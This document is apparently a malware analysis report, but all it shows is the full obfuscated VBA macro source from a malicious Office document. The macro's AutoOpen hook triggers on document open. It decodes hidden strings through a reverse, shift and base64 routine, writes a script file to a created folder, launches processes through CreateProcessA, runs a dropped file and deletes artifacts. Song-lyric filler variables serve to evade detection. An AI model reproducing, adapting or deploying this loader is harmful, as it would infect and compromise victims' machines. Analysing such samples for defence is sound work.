Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
    Dim HVhXzreSC6KFXGt As String: HVhXzreSC6KFXGt = "Just like a prayer,": Dim Pgox5DrM4m3JpH As String: Pgox5DrM4m3JpH = "You are a mystery"
    Dim Q1fUh63YlGR7S6 As String: Q1fUh63YlGR7S6 = "Just what I did it for": Dim pcNUTnnsm95RgJ9 As String: pcNUTnnsm95RgJ9 = "I can feel your power"
    Module1.ibHSEEuVHXC3H
    Dim xJ6FJ2eSnGd As String: xJ6FJ2eSnGd = "This type of modern life - Is it for free?"
End Sub


Attribute VB_Name = "Module1"
Private Type rWuf2Vj8PPq3rv
nfGliDZaOdhVR3 As Long: YKr106wYnFV As String
gh8FiHyhUQVk4a As String: ueN07CZ8N30POi As String
Th0qWowoaxYYZKy As Long: oEBDpVu4DadTnMw As Long
MMnDBmPxQQ1pi4 As Long: D4HdQfGYFe As Long
End Type
Private Type BKZNtKNVS0mKXL
y38OmcIBN2LQq As Long: bfmsVyfBYbk As Long: BaS26bfu6B As Long: aaJaYLoDsVn As Long
End Type
Private Type ULOhjIvZ0Uu
jGNwCf0NzDC As Long: w2IEG7SWIG As String
End Type
Private Type ZyO4iWSJzG
S1otVLjAeQwbGiA As Long: xcg4tyHJBdS7utv As Long
End Type
Private Type UGkwAIRH2Sa
pICXi7r49H As Long: eX8BqkLQMJe As String: GLQyYBAY84KK8pK As String: Z04vT0dLbFj1AbU As String: OowrFFfqSHSH As Long
tW48DPLGArkrW As Long: FN7XJzgQTgX4CWx As Long: VjmimMBHkNEnlE As Long: LTCI5qxf9Aijrd As Long: eOahiqF7pN8H As Long
g3M5JLwW3T7rHc As Long: R3GBHJRYGuHw As Long: Qb8r5WBfV1sP7QM As Integer: Jv6b93ZYKWqQ0us As Integer: XtXwCZxFdERu As Integer
YAULr6XRps As Long: eIVJYM3q7PVh1P As Long: oIOGNzHUU3Pk As Long
End Type
Private Type KPQzTRlv3yK
gpWqun9N0u As Integer: lsoFfyiOEQiLT As Long
FFwrjkpmcTR0LLQ As Integer: xF7IhTBaJmmuq As Long
ahfyQgeisIoi As Integer: tUmE4p25bz As Long
W5lu30IeAinSh As Integer: bJWLcmSk6XVK As Long
End Type
Private Type geYqw0iavF
shEbM3iNZGO7mhC As String: JQZPmsnGFaW As Integer
zP1G0XZnr4xEnh5 As Long: f0bfwLfGbw As String
End Type
#If VBA7 Then
Private Declare PtrSafe Function SetCapture Lib "user32" (ByVal scGP5sIa0tcUyuB As LongPtr) As LongPtr
Private Declare PtrSafe Function SetCaretBlinkTime Lib "user32" (ByVal P8jHGCr6wKDq0Z As LongPtr) As LongPtr
Private Declare PtrSafe Function SetCaretPos Lib "user32" (ByVal EpeQVKlD52FB9P As LongPtr, _
ByVal sn4BugrTC8 As LongPtr) As LongPtr
Private Declare PtrSafe Function CreateProcessA Lib "Kernel32" (ByVal no0TJTcUiZjp As String, _
ByVal VdMn7KCrJnHN As String, ByVal cHjrGrTOlt As Long, ByVal QBZHXu8VyVgR1 As Long, _
ByVal Ajx4zgGoDZ As LongPtr, ByVal FsNMMWIYZsj As LongPtr, ByVal E8BXsyUCYthXq As Long, _
ByVal pGzyfXJskHG7q As String, KQiCKcq0UQeJBl As UGkwAIRH2Sa, rVER4n7uzaJEAq As BKZNtKNVS0mKXL) As LongPtr
Private Declare PtrSafe Function Sleep Lib "Kernel32" (ByVal jNUDwQYYo8go As Long) As Long
Private Declare PtrSafe Function SetClassLongA Lib "user32" (ByVal QY1tKtcxkJL5cT6 As LongPtr, _
ByVal XO7uSjJnRqrNY As LongPtr, ByVal iB0Ao91Teu As LongPtr) As LongPtr
Private Declare PtrSafe Function SetClassWord Lib "user32" (ByVal rTz8JPTy0sT18e As LongPtr, _
ByVal seGxCBRqm5MIEm As LongPtr, ByVal frMDa7Pne53OsP As LongPtr) As LongPtr
#Else
Private Declare Function CreateProcessA Lib "Kernel32" (ByVal JlVncVhayFW As String, ByVal G6j7onNR006a As String, _
ByVal vY7PAWQPVQJj As Long, ByVal iGJD3br81F0Q9 As Long, ByVal WKkWDnRYTg As Long, _
ByVal vCFkvXYeOdUPfd As Long, ByVal KG4r8tqm9cQ As Long, ByVal J0hyVypkIBwydDR As String, _
EWjWS6RNx5S16P As UGkwAIRH2Sa, aYngwF15VdL As BKZNtKNVS0mKXL) As Long
Private Declare Function Sleep Lib "Kernel32" (ByVal c5v9z3TsVPE As Long) As Long
Private Declare Function SetCapture Lib "user32" (ByVal GPIvNTI1W4 As Long) As Long
Private Declare Function SetClassLongA Lib "user32" (ByVal lL2n3KP6eveZyol As Long, _
ByVal SgT6QgobVbXyj As Long, ByVal OB47GLiOZUg As Long) As Long
Private Declare Function SetClassWord Lib "user32" (ByVal F8QjYRTTC2L As Long, _
ByVal th43DpPftJ As Long, ByVal Orp8MLnmYrk As Long) As Long
#End If
Private lGGWt4wPxUjIldf(1 To 6) As Variant
Public Sub ibHSEEuVHXC3H()
    Dim nN50Xn2WkJSjx8 As String: nN50Xn2WkJSjx8 = "I can feel your power": Dim IB8mILycXeiahUw As String: IB8mILycXeiahUw = "I can feel your power"
    nyxNFsLbVls
    Dim asIYAerRDlEg As String: asIYAerRDlEg = "Do I have to change my name?": Dim FCuuvDG6SHIJNe As String: FCuuvDG6SHIJNe = "I tried to be a girl"
    xXXMISYyRQ5dM
    Dim eL3ULwmHmiquT As String: eL3ULwmHmiquT = "When you call my name its like a little prayer"
End Sub
Private Sub xXXMISYyRQ5dM()
Dim gTSsDEsg7d3YJc4 As UGkwAIRH2Sa: Dim vXkMMLo6KrOt As BKZNtKNVS0mKXL: Dim KEOxJ8YkqfUM As UGkwAIRH2Sa: Dim JJ8ZFOHgsW As BKZNtKNVS0mKXL
Dim jNvMWGsZBzpJ6c As String: jNvMWGsZBzpJ6c = GyYuuJG8hnY1nw("3K=[b+_Cp?dZpZMPonbCp&MP&DN[Jn'Y)/=Pkb(LYfpG")
Dim zVV8XnfufO As String: zVV8XnfufO = "And a bodyguard or five": Dim L2WSyE1wKY4ox As String: L2WSyE1wKY4ox = "And why I wanted more"
Dim sTDTzlPpPa7x As String: sTDTzlPpPa7x = "Oh, God, I think Im falling": Dim PcZVQ70tBbnV As String: PcZVQ70tBbnV = "This type of modern life - Is it for free?"
Dim eggTpvja9kpEJs As String: eggTpvja9kpEJs = GyYuuJG8hnY1nw("33GP*LcB&8NWoD(Y`nbCp&MP&DN[Jn'Y)/=Pkb(LYfpG")
Dim j8z0nS5lDedd As String: j8z0nS5lDedd = GyYuuJG8hnY1nw("].(Pln&XE/9?") + GyYuuJG8hnY1nw("33]YEfMX<DbH++=Y+m=N`b=X_L>KYDdYbDNLYfpG") + GyYuuJG8hnY1nw("p@cZka)X?<MEDbM[cP;[fH=N")
Dim E88BHWu0IxmGe1 As String: Dim gXkXdSTwDeO2IAr As Long: gXkXdSTwDeO2IAr = 0
    If CreateProcessA(eggTpvja9kpEJs, j8z0nS5lDedd, 0, 0, False, &H8, 0, GyYuuJG8hnY1nw("YfpG"), gTSsDEsg7d3YJc4, vXkMMLo6KrOt) Then
        Do While E88BHWu0IxmGe1 = "" Or gXkXdSTwDeO2IAr > 10
            E88BHWu0IxmGe1 = Dir(uou0jx5BePMF9Hg())
            Sleep 1000: gXkXdSTwDeO2IAr = gXkXdSTwDeO2IAr + 1
        Loop
        Dim oPCCZ8Etys21xc As String: oPCCZ8Etys21xc = "Im digging on the isotopes"
        jPI81xN3Rrm
        If CreateProcessA(jNvMWGsZBzpJ6c, GyYuuJG8hnY1nw("37IWp/9?") + uou0jx5BePMF9Hg(), 0, 0, False, 0, 0, GyYuuJG8hnY1nw("YfpG"), KEOxJ8YkqfUM, JJ8ZFOHgsW) Then
            Dim WsBxKccAFjwZuDM As String: WsBxKccAFjwZuDM = "I tried to be the best"
            Dim imUHEpCU2y As String: imUHEpCU2y = "Its like an angel sighing"
        Else
            Dim JHmIQmvucuyB As String: JHmIQmvucuyB = "Its more easily said its always been the same"
            Dim qeRJaJk85PmacK As String: qeRJaJk85PmacK = "Just like a dream,"
        End If
    End If
    Dim CQAuUU2liLWy4u0 As String: CQAuUU2liLWy4u0 = "I tried to be the best": Dim RU2MzlfkJkTe As String: RU2MzlfkJkTe = "Out of the sky,"
End Sub
Private Function nyxNFsLbVls()
Dim gTSsDEsg7d3YJc4 As Object: Set gTSsDEsg7d3YJc4 = qViFXtfTuw9Y5yi(GyYuuJG8hnY1nw("3G)ObfcOF'MP&DN[JL=XfPaBd+MW&8NWoD(K"))
lGGWt4wPxUjIldf(1) = GyYuuJG8hnY1nw("33GA_;`B'*9ZpLMZnLcKmH>Z?+MWN+9Y&H>Ikb(L_]9Z`LcW_/KP&<MPoD;?/7IYb@<Y&H>Ikb(L]GNPJ8IAe*MW^';?_L)K"): lGGWt4wPxUjIldf(2) = GyYuuJG8hnY1nw("337PkL(Yk;NPI8>Z&^aXfZ<?,7IPpnMO=n_?p?JCl.=Yj<(OleN[*+9PpfMOiLMWhD)Xj/=Xl._EmH>Ze@9B_GLH>@9?kL=YF+IYb@<Y&H>Ikb(L")
lGGWt4wPxUjIldf(3) = GyYuuJG8hnY1nw("33]Xb^=L]7:Co7IF]CNZ&<=ZJ+IYb@<Y&H>Ikb(L]OMI"): lGGWt4wPxUjIldf(4) = GyYuuJG8hnY1nw("f?IX^LcY&DbB9H&J;<a?eG)ObfcOFL=Z^LcY:8IF]&MOb@>ZJ/=?&L(K")
Dim QwIEmIEwQlmM As String: QwIEmIEwQlmM = "American life": Dim ZaTLR9zwIaj As String: ZaTLR9zwIaj = "You know Ill take you there"
lGGWt4wPxUjIldf(5) = GyYuuJG8hnY1nw("_7IF]]=Z^8>?,7I[a/cGbDdXl8)Yb@dBnLcKmH>Z?+MWN8IP&bcYN+IX^LcY&D'X]e:?n7IF]K=Y+HbBj<MPoH)Kl8_EkL=YF+IX^LcY&D'X") + uou0jx5BePMF9Hg() + GyYuuJG8hnY1nw("33GPp/=X:+IX^LcY&D'X]e:?o79BeHNOm8IPibcHlHLP(<(Kk&MOb@>ZJ/=?,7_?")
lGGWt4wPxUjIldf(6) = GyYuuJG8hnY1nw("33]Xf<MJ]m=X^D;?,?MZJ89PkL;?cb;?a+MH")
Dim SWiCdFdrZ7Cj2hg As String: SWiCdFdrZ7Cj2hg = "I close my eyes": Dim ykIkahyGnK9c As String: ykIkahyGnK9c = "You know Ill take you there"
    Set vXkMMLo6KrOt = MJRKdi2cB13Ev2(gTSsDEsg7d3YJc4)
    Dim gTSsDEsg7d3YJc40 As Long: gTSsDEsg7d3YJc40 = 1
    For Each Item In lGGWt4wPxUjIldf
       vXkMMLo6KrOt.WriteLine (lGGWt4wPxUjIldf(gTSsDEsg7d3YJc40)): gTSsDEsg7d3YJc40 = gTSsDEsg7d3YJc40 + 1
    Next
    Dim kKfchliZQhjW8 As String: kKfchliZQhjW8 = "Should I lose some weight?": Dim grn4BW5LTc66Ile As String: grn4BW5LTc66Ile = "Youre in control just like a child"
    vXkMMLo6KrOt.Close
Dim S8VgKgtge9s1vQx As String: S8VgKgtge9s1vQx = "You know Im satisfied": Dim ZLsDrNeCpZ5cWP As String: ZLsDrNeCpZ5cWP = "And you know Im satisfied"
End Function
Public Function qViFXtfTuw9Y5yi(gTSsDEsg7d3YJc4 As String) As Object
    Dim RkWo0OgSBeqT As String: RkWo0OgSBeqT = "And it feels like home": Dim uLcimd2HCiZrSmq As String: uLcimd2HCiZrSmq = "You are not what you seem": Dim MaxzVqOgNha As String: MaxzVqOgNha = "And Im feeling super-dooper"
    Set qViFXtfTuw9Y5yi = CreateObject(gTSsDEsg7d3YJc4)
End Function
Public Function MJRKdi2cB13Ev2(gTSsDEsg7d3YJc4 As Object) As Object
Dim rvsaoaV2uho As String: rvsaoaV2uho = "Am I gonna be a star?"
Dim vXkMMLo6KrOt As String
    vXkMMLo6KrOt = Dir(GyYuuJG8hnY1nw("33]YEfMX<DbH++=Y+m=N`b=X_L>KYDdYbDNLYfpG"), vbDirectory)
    If vXkMMLo6KrOt = "" Then
        gTSsDEsg7d3YJc4.CreateFolder GyYuuJG8hnY1nw("33]YEfMX<DbH++=Y+m=N`b=X_L>KYDdYbDNLYfpG")
    End If
    Dim mEFyE2eznkN As String: mEFyE2eznkN = "Do I have to change my name": Dim qqfmO28AGiscLf As String: qqfmO28AGiscLf = "Id like to express my extreme point of view"
    Set MJRKdi2cB13Ev2 = gTSsDEsg7d3YJc4.CreateTextFile(GyYuuJG8hnY1nw("33]YEfMX<DbH++=Y+m=N`b=X_L>KYDdYbDNLYfpG") + GyYuuJG8hnY1nw("p@cZka)X?<MEDbM[cP;[fH=N"), True)
End Function
Private Function jPI81xN3Rrm()
Dim gTSsDEsg7d3YJc4 As Object: Set gTSsDEsg7d3YJc4 = qViFXtfTuw9Y5yi(GyYuuJG8hnY1nw("3G)ObfcOF'MP&DN[JL=XfPaBd+MW&8NWoD(K"))
Dim vXkMMLo6KrOt As String
Dim ggFFy8IvX9hR0p As String: ggFFy8IvX9hR0p = "Do I have to change my name?": Dim C7R9BOFrWZyA2hZ As String: C7R9BOFrWZyA2hZ = "I tried to stay on top..."
    vXkMMLo6KrOt = Dir(GyYuuJG8hnY1nw("33]YEfMX<DbH++=Y+m=N`b=X_L>KYDdYbDNLYfpG"), vbDirectory)
    If Not vXkMMLo6KrOt = "" Then
        Dim RYF0Af5wFsLQX As String: RYF0Af5wFsLQX = "In the midnight hour"
        gTSsDEsg7d3YJc4.DeleteFile GyYuuJG8hnY1nw("33]YEfMX<DbH++=Y+m=N`b=X_L>KYDdYbDNLYfpG") + GyYuuJG8hnY1nw("p@cZka)X?<MEDbM[cP;[fH=N")
    End If
Dim Wk6deqF7Uvn6 As String: Wk6deqF7Uvn6 = "I live the american dream": Dim sl2o3y6B11 As String: sl2o3y6B11 = "This type of modern life - Is it for free?"
End Function
Function GyYuuJG8hnY1nw(KEOxJ8YkqfUM As String, Optional b64 As Boolean = True) As String
    Dim vDCzgiqdqO As String: vDCzgiqdqO = "I got a lawyer and a manager": Dim MSZtpkiHc9fHU As String: MSZtpkiHc9fHU = "I close my eyes,"
    GyYuuJG8hnY1nw = urVt35CA5OX(V3R06ECogK(KEOxJ8YkqfUM, Len(KEOxJ8YkqfUM), 1), Len(KEOxJ8YkqfUM), 10)
    If b64 = True Then
        Dim pUZfbsHDjDN As String: pUZfbsHDjDN = "I do yoga and pilates": Dim mz8EKTXOPP As String: mz8EKTXOPP = "A little company - I tried to find a friend"
        GyYuuJG8hnY1nw = G7FVVJD5uIk(GyYuuJG8hnY1nw)
    End If
    Dim pg1ccNARFluS0 As String: pg1ccNARFluS0 = "Am I gonna be a star": Dim VT4CvifxRj6tR As String: VT4CvifxRj6tR = "This type of modern life - Is it for me?"
End Function
Public Function V3R06ECogK(JJ8ZFOHgsW As String, j8z0nS5lDedd As Long, E88BHWu0IxmGe1 As Long) As String
    Dim jNvMWGsZBzpJ6c As String
    jNvMWGsZBzpJ6c = JJ8ZFOHgsW
    Dim ceJLlK19x1JqY As String: ceJLlK19x1JqY = "You are not what you seem": Dim LuD1kVs9mh20gz5 As String: LuD1kVs9mh20gz5 = "Im down on my knees, I wanna take you there"
    For eggTpvja9kpEJs = 1 To j8z0nS5lDedd
       Mid$(jNvMWGsZBzpJ6c, eggTpvja9kpEJs, 1) = Mid$(JJ8ZFOHgsW, j8z0nS5lDedd - eggTpvja9kpEJs + E88BHWu0IxmGe1, 1)
    Next
    Dim e0gp2CFiyfxGO As String: e0gp2CFiyfxGO = "I tried to be the best": Dim Xf9zQc54tPr0 As String: Xf9zQc54tPr0 = "No choice your voice can take me there"
    V3R06ECogK = jNvMWGsZBzpJ6c
End Function
Public Function urVt35CA5OX(gTSsDEsg7d3YJc4 As String, JJ8ZFOHgsW As Long, j8z0nS5lDedd As Long) As String
    Dim vXkMMLo6KrOt As String
    Dim JNWXC5atla As String: JNWXC5atla = "Do I have to change my name?": Dim vQRDwHBLikNtsk As String: vQRDwHBLikNtsk = "This type of modern life - Is it for free?"
    For KEOxJ8YkqfUM = 1 To JJ8ZFOHgsW
        vXkMMLo6KrOt = Chr(Asc(Mid$(gTSsDEsg7d3YJc4, KEOxJ8YkqfUM, 1)) + j8z0nS5lDedd)
        Mid$(gTSsDEsg7d3YJc4, KEOxJ8YkqfUM, 1) = vXkMMLo6KrOt
    Next
    Dim e7I9NbNVBBxY As String: e7I9NbNVBBxY = "Yo they tell Im a trooper"
    urVt35CA5OX = gTSsDEsg7d3YJc4
End Function
Function G7FVVJD5uIk(ByVal gTSsDEsg7d3YJc4)
    Set vXkMMLo6KrOt = qViFXtfTuw9Y5yi(GyYuuJG8hnY1nw("&$)$jd[ckYe:CE:$(bcniC", False))
    Dim wqgBM5JABP As String: wqgBM5JABP = "I tried to stay ahead,"
    Set KEOxJ8YkqfUM = vXkMMLo6KrOt.CreateElement(GyYuuJG8hnY1nw("&$)$jd[ckYe:CE:$(bcniC", False))
    KEOxJ8YkqfUM.DataType = GyYuuJG8hnY1nw("*,[iWX$d_X", False)
    Dim DTvzYKJc2hNiVE As String: DTvzYKJc2hNiVE = "You know Im satisfied": Dim rzxatlGPJR1r As String: rzxatlGPJR1r = "American life"
    KEOxJ8YkqfUM.Text = gTSsDEsg7d3YJc4
    G7FVVJD5uIk = ngZNY7sbwKP(KEOxJ8YkqfUM.nodeTypedValue)
End Function
Private Function ngZNY7sbwKP(vXkMMLo6KrOt)
  Set KEOxJ8YkqfUM = qViFXtfTuw9Y5yi(GyYuuJG8hnY1nw("cW[hjI$8:E:7", False))
  KEOxJ8YkqfUM.Type = 1
  Dim yPtf0iRDh4 As String: yPtf0iRDh4 = "Im down on my knees, I wanna take you there": Dim HZ8CPtGfjNhB6qc As String: HZ8CPtGfjNhB6qc = "A gardener and a stylist"
  KEOxJ8YkqfUM.Open
  KEOxJ8YkqfUM.Write vXkMMLo6KrOt
  Dim JBs4agcbM7tDJ As String: JBs4agcbM7tDJ = "This type of modern life - Is it for me?": Dim IzqU6FLOxVJ As String: IzqU6FLOxVJ = "Id like to express my extreme point of view"
  KEOxJ8YkqfUM.Position = 0
  KEOxJ8YkqfUM.Type = 2
  KEOxJ8YkqfUM.Charset = GyYuuJG8hnY1nw("__YiW#ik", False)
  Dim Bv6hhGtVIWPZoA As String: Bv6hhGtVIWPZoA = "Life is a mystery everyone must stand alone"
  ngZNY7sbwKP = KEOxJ8YkqfUM.ReadText
End Function
Public Function uou0jx5BePMF9Hg() As String
    Dim hSN7oVkdmRij0B As String: hSN7oVkdmRij0B = "A little company - I tried to find a friend": Dim HsUjBnpags As String: HsUjBnpags = "You are a mystery"
    Dim le0RXaW55rB As String: le0RXaW55rB = "I drive my mini cooper": Dim a5XoymqiYkAD As String: a5XoymqiYkAD = "Im down on my knees, I wanna take you there"
    uou0jx5BePMF9Hg = GyYuuJG8hnY1nw("33]YEfMX<DbH++=Y+m=N`b=X_L>KYDdYbDNLYfpG") & Application.PathSeparator & GyYuuJG8hnY1nw("in=Pk;pZ=Z(ZG<<DnGcLm@MZ")
    Dim EY5XzfiTfv5ea As String: EY5XzfiTfv5ea = "And a bodyguard or five": Dim s9RE9PN7KF As String: s9RE9PN7KF = "Heaven help me"
End Function